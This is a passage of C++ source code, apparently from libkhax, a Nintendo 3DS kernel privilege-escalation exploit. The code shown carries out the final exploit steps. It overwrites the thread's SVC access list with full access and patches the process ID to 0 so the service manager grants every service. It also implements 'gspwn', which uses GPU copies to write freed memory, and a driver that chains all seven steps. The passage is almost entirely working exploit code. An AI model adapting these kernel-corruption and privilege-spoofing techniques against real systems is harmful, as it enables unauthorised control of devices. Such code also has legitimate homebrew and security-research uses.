743 std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread));\r
744 std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC));\r
745#endif\r
746\r
747 // Get a pointer to the SVC ACL within the SVC area for the thread.\r
748 SVCThreadArea *svcThreadArea = ContainingRecord<SVCThreadArea>(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState);\r
749 KSVCACL &threadACL = svcThreadArea->m_svcAccessControl;\r
750\r
751 // Save the old one for diagnostic purposes.\r
752 std::memcpy(m_oldACL, threadACL, sizeof(threadACL));\r
753\r
754 // Set the ACL for the current thread.\r
755 std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL));\r
756\r
757 return 0;\r
758}\r
759\r
760//------------------------------------------------------------------------------------------------\r
761// Flush instruction and data caches.\r
762Result KHAX::MemChunkHax::Step6f_FlushCaches()\r
763{\r
764 // Invalidates the entire instruction cache.\r
765 __asm__ volatile(\r
766 "mov r0, #0\n\t"\r
767 "mcr p15, 0, r0, c7, c5, 0\n\t");\r
768\r
769 // Invalidates the entire data cache.\r
770 __asm__ volatile(\r
771 "mov r0, #0\n\t"\r
772 "mcr p15, 0, r0, c7, c10, 0\n\t");\r
773\r
774 return 0;\r
775}\r
776\r
777//------------------------------------------------------------------------------------------------\r
778// Grant access to all services.\r
779Result KHAX::MemChunkHax::Step7_GrantServiceAccess()\r
780{\r
781 // Backup the original PID.\r
782 Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle);\r
783 if (result != 0)\r
784 {\r
785 KHAX_printf("Step7:GetPID1 fail:%08lx\n", result);\r
786 return result;\r
787 }\r
788\r
789 KHAX_printf("Step7:current pid=%lu\n", m_originalPID);\r
790\r
791 // Patch the PID to 0, granting access to all services.\r
792 svcBackdoor(Step7a_PatchPID);\r
793\r
794 // Check whether PID patching succeeded.\r
795 u32 newPID;\r
796 result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);\r
797 if (result != 0)\r
798 {\r
799 // Attempt patching back anyway, for stability reasons.\r
800 svcBackdoor(Step7b_UnpatchPID);\r
801 KHAX_printf("Step7:GetPID2 fail:%08lx\n", result);\r
802 return result;\r
803 }\r
804\r
805 if (newPID != 0)\r
806 {\r
807 KHAX_printf("Step7:nonzero:%lu\n", newPID);\r
808 return MakeError(27, 11, KHAX_MODULE, 1023);\r
809 }\r
810\r
811 // Reinit ctrulib's srv connection to gain access to all services.\r
812 srvExit();\r
813 srvInit();\r
814\r
815 // Restore the original PID now that srv has been tricked into thinking that we're PID 0.\r
816 svcBackdoor(Step7b_UnpatchPID);\r
817\r
818 // Check whether PID restoring succeeded.\r
819 result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);\r
820 if (result != 0)\r
821 {\r
822 KHAX_printf("Step7:GetPID3 fail:%08lx\n", result);\r
823 return result;\r
824 }\r
825\r
826 if (newPID != m_originalPID)\r
827 {\r
828 KHAX_printf("Step7:not same:%lu\n", newPID);\r
829 return MakeError(27, 11, KHAX_MODULE, 1023);\r
830 }\r
831\r
832 return 0;\r
833}\r
834\r
835//------------------------------------------------------------------------------------------------\r
836// Patch the PID to 0.\r
837Result KHAX::MemChunkHax::Step7a_PatchPID()\r
838{\r
839 // Disable interrupts ASAP.\r
840 // FIXME: Need a better solution for this.\r
841 __asm__ volatile("cpsid aif");\r
842\r
843 // Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers\r
844 // to translate the raw KProcess pointer into pointers into key fields, and we access the\r
845 // m_processID field from it.\r
846 *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)\r
847 .m_processID) = 0;\r
848 return 0;\r
849}\r
850\r
851//------------------------------------------------------------------------------------------------\r
852// Restore the original PID.\r
853Result KHAX::MemChunkHax::Step7b_UnpatchPID()\r
854{\r
855 // Disable interrupts ASAP.\r
856 // FIXME: Need a better solution for this.\r
857 __asm__ volatile("cpsid aif");\r
858\r
859 // Patch the PID back to the original value.\r
860 *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)\r
861 .m_processID) = s_instance->m_originalPID;\r
862 return 0;\r
863}\r
864\r
865//------------------------------------------------------------------------------------------------\r
866// Helper for dumping memory to SD card.\r
867template <std::size_t S>\r
868bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const\r
869{\r
870 char formatted[32];\r
871 snprintf(formatted, KHAX_lengthof(formatted), filename,\r
872 static_cast<unsigned>(m_versionData->m_kernelVersion), m_versionData->m_new3DS ?\r
873 "New" : "Old");\r
874\r
875 bool result = true;\r
876\r
877 FILE *file = std::fopen(formatted, "wb");\r
878 if (file)\r
879 {\r
880 result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1);\r
881 std::fclose(file);\r
882 }\r
883 else\r
884 {\r
885 result = false;\r
886 }\r
887\r
888 return result;\r
889}\r
890\r
891//------------------------------------------------------------------------------------------------\r
892// Free memory and such.\r
893KHAX::MemChunkHax::~MemChunkHax()\r
894{\r
895 // Dump memory to SD card if that is enabled.\r
896#ifdef KHAX_DEBUG_DUMP_DATA\r
897 if (m_nextStep > 6)\r
898 {\r
899 DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin");\r
900 DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin");\r
901 DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin");\r
902 }\r
903#endif\r
904\r
905 // If we're corrupted, we're dead.\r
906 if (m_corrupted > 0)\r
907 {\r
908 KHAX_printf("~:error while corrupt;freezing\n");\r
909 for (;;)\r
910 {\r
911 svcSleepThread(s64(60) * 1000000000);\r
912 }\r
913 }\r
914\r
915 // This function has to be careful not to crash trying to shut down after an aborted attempt.\r
916 if (m_overwriteMemory)\r
917 {\r
918 u32 dummy;\r
919\r
920 // Each page has a flag indicating that it is still allocated.\r
921 for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x)\r
922 {\r
923 // Don't free a page unless it remains allocated.\r
924 if (m_overwriteAllocated & (1u << x))\r
925 {\r
926 Result res = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[x]), 0,\r
927 sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast<MemPerm>(0));\r
928 KHAX_printf("free %u: %08lx\n", x, res);\r
929 }\r
930 }\r
931 }\r
932\r
933 // Free the extra linear memory.\r
934 if (m_extraLinear)\r
935 {\r
936 linearFree(m_extraLinear);\r
937 }\r
938\r
939 // s_instance better be us\r
940 if (s_instance != this)\r
941 {\r
942 KHAX_printf("~:s_instance is wrong\n");\r
943 }\r
944 else\r
945 {\r
946 s_instance = nullptr;\r
947 }\r
948}\r
949\r
950\r
951//------------------------------------------------------------------------------------------------\r
952//\r
953// Miscellaneous\r
954//\r
955\r
956//------------------------------------------------------------------------------------------------\r
957// Make an error code\r
958inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error)\r
959{\r
960 return (level << 27) + (summary << 21) + (module << 10) + error;\r
961}\r
962\r
963//------------------------------------------------------------------------------------------------\r
964// Check whether this system is a New 3DS.\r
965Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown)\r
966{\r
967 // If the kernel version isn't already known by the caller, find out.\r
968 u32 kernelVersion = kernelVersionAlreadyKnown;\r
969 if (kernelVersion == 0)\r
970 {\r
971 kernelVersion = osGetKernelVersion();\r
972 }\r
973\r
974 // APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist.\r
975 if (kernelVersion >= SYSTEM_VERSION(2, 44, 6))\r
976 {\r
977 // Check whether the system is a New 3DS. If this fails, abort, because being wrong would\r
978 // crash the system.\r
979 u8 isNew3DS = 0;\r
980 if (Result error = APT_CheckNew3DS(nullptr, &isNew3DS))\r
981 {\r
982 *answer = false;\r
983 return error;\r
984 }\r
985\r
986 // Use the result of APT_CheckNew3DS.\r
987 *answer = isNew3DS != 0;\r
988 return 0;\r
989 }\r
990\r
991 // Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS.\r
992 *answer = false;\r
993 return 0;\r
994}\r
995\r
996//------------------------------------------------------------------------------------------------\r
997// gspwn, meant for reading from or writing to freed buffers.\r
998Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait)\r
999{\r
1000 // Attempt a flush of the source, but ignore the result, since we may have just been asked to\r
1001 // read unmapped memory or something similar.\r
1002 GSPGPU_FlushDataCache(nullptr, static_cast<u8 *>(const_cast<void *>(src)), size);\r
1003\r
1004 // Invalidate the destination's cache, since we're about to overwrite it. Likewise, ignore\r
1005 // errors, since it may be the destination that is an unmapped address.\r
1006 GSPGPU_InvalidateDataCache(nullptr, static_cast<u8 *>(dest), size);\r
1007\r
1008 // Copy that floppy.\r
1009 if (Result result = GX_SetTextureCopy(nullptr, static_cast<u32 *>(const_cast<void *>(src)), 0,\r
1010 static_cast<u32 *>(dest), 0, size, 8))\r
1011 {\r
1012 KHAX_printf("gspwn:copy fail:%08lx\n", result);\r
1013 return result;\r
1014 }\r
1015\r
1016 // Wait for the operation to finish.\r
1017 if (wait)\r
1018 {\r
1019 gspWaitForPPF();\r
1020 }\r
1021\r
1022 return 0;\r
1023}\r
1024\r
1025//------------------------------------------------------------------------------------------------\r
1026// Given a pointer to a structure that is a member of another structure,\r
1027// return a pointer to the outer structure. Inspired by Windows macro.\r
1028template <typename Outer, typename Inner>\r
1029Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field)\r
1030{\r
1031 unsigned char *p = reinterpret_cast<unsigned char *>(member);\r
1032 p -= reinterpret_cast<std::uintptr_t>(&(static_cast<Outer *>(nullptr)->*field));\r
1033 return reinterpret_cast<Outer *>(p);\r
1034}\r
1035\r
1036//------------------------------------------------------------------------------------------------\r
1037// Main initialization function interface.\r
1038extern "C" Result khaxInit()\r
1039{\r
1040 using namespace KHAX;\r
1041\r
1042#ifdef KHAX_DEBUG\r
1043 bool isNew3DS;\r
1044 IsNew3DS(&isNew3DS, 0);\r
1045 KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(),\r
1046 isNew3DS);\r
1047#endif\r
1048\r
1049 // Look up the current system's version in our table.\r
1050 const VersionData *versionData = VersionData::GetForCurrentSystem();\r
1051 if (!versionData)\r
1052 {\r
1053 KHAX_printf("khaxInit: Unknown kernel version\n");\r
1054 return MakeError(27, 6, KHAX_MODULE, 39);\r
1055 }\r
1056\r
1057 KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress,\r
1058 versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress);\r
1059\r
1060 // Create the hack object.\r
1061 MemChunkHax hax{ versionData };\r
1062\r
1063 // Run through the steps.\r
1064 if (Result result = hax.Step1_Initialize())\r
1065 {\r
1066 KHAX_printf("khaxInit: Step1 failed: %08lx\n", result);\r
1067 return result;\r
1068 }\r
1069 if (Result result = hax.Step2_AllocateMemory())\r
1070 {\r
1071 KHAX_printf("khaxInit: Step2 failed: %08lx\n", result);\r
1072 return result;\r
1073 }\r
1074 if (Result result = hax.Step3_SurroundFree())\r
1075 {\r
1076 KHAX_printf("khaxInit: Step3 failed: %08lx\n", result);\r
1077 return result;\r
1078 }\r
1079 if (Result result = hax.Step4_VerifyExpectedLayout())\r
1080 {\r
1081 KHAX_printf("khaxInit: Step4 failed: %08lx\n", result);\r
1082 return result;\r
1083 }\r
1084 if (Result result = hax.Step5_CorruptCreateThread())\r
1085 {\r
1086 KHAX_printf("khaxInit: Step5 failed: %08lx\n", result);\r
1087 return result;\r
1088 }\r
1089 if (Result result = hax.Step6_ExecuteSVCCode())\r
1090 {\r
1091 KHAX_printf("khaxInit: Step6 failed: %08lx\n", result);\r
1092 return result;\r
1093 }\r
1094 if (Result result = hax.Step7_GrantServiceAccess())\r
1095 {\r
1096 KHAX_printf("khaxInit: Step7 failed: %08lx\n", result);\r
1097 return result;\r
1098 }\r
1099\r
1100 KHAX_printf("khaxInit: done\n");\r
1101 return 0;\r
1102}\r
1103\r
1104//------------------------------------------------------------------------------------------------\r
1105// Shut down libkhax. Doesn't actually do anything at the moment, since khaxInit does everything\r
1106// and frees all memory on the way out.\r
1107extern "C" Result khaxExit()\r
1108{\r
1109 return 0;\r
1110}\r